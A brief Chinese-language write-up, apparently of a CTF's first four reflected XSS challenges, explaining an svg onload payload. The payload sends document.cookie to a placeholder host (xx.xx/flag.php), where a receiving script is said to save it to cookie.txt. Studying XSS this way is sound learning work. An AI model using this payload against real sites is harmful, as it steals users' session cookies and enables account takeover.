做了前四题，反射型xss

均可用<svg onload=”location.href=’http(s)://xx.xx/flag.php?c=’+document.cookie”/>获取cookie

<svg>矢量图标签 比如显示一个蓝色圆

onload:js事件，在svg加载完成时触发。

整个流程就是加载svg，svg加载完成触发onload，跳转到写的url，并且c作为get参数，其值为cookie的内容，被写入目标文件。

本地可以这么编辑接收文件

cookie就成功写入cookie.txt。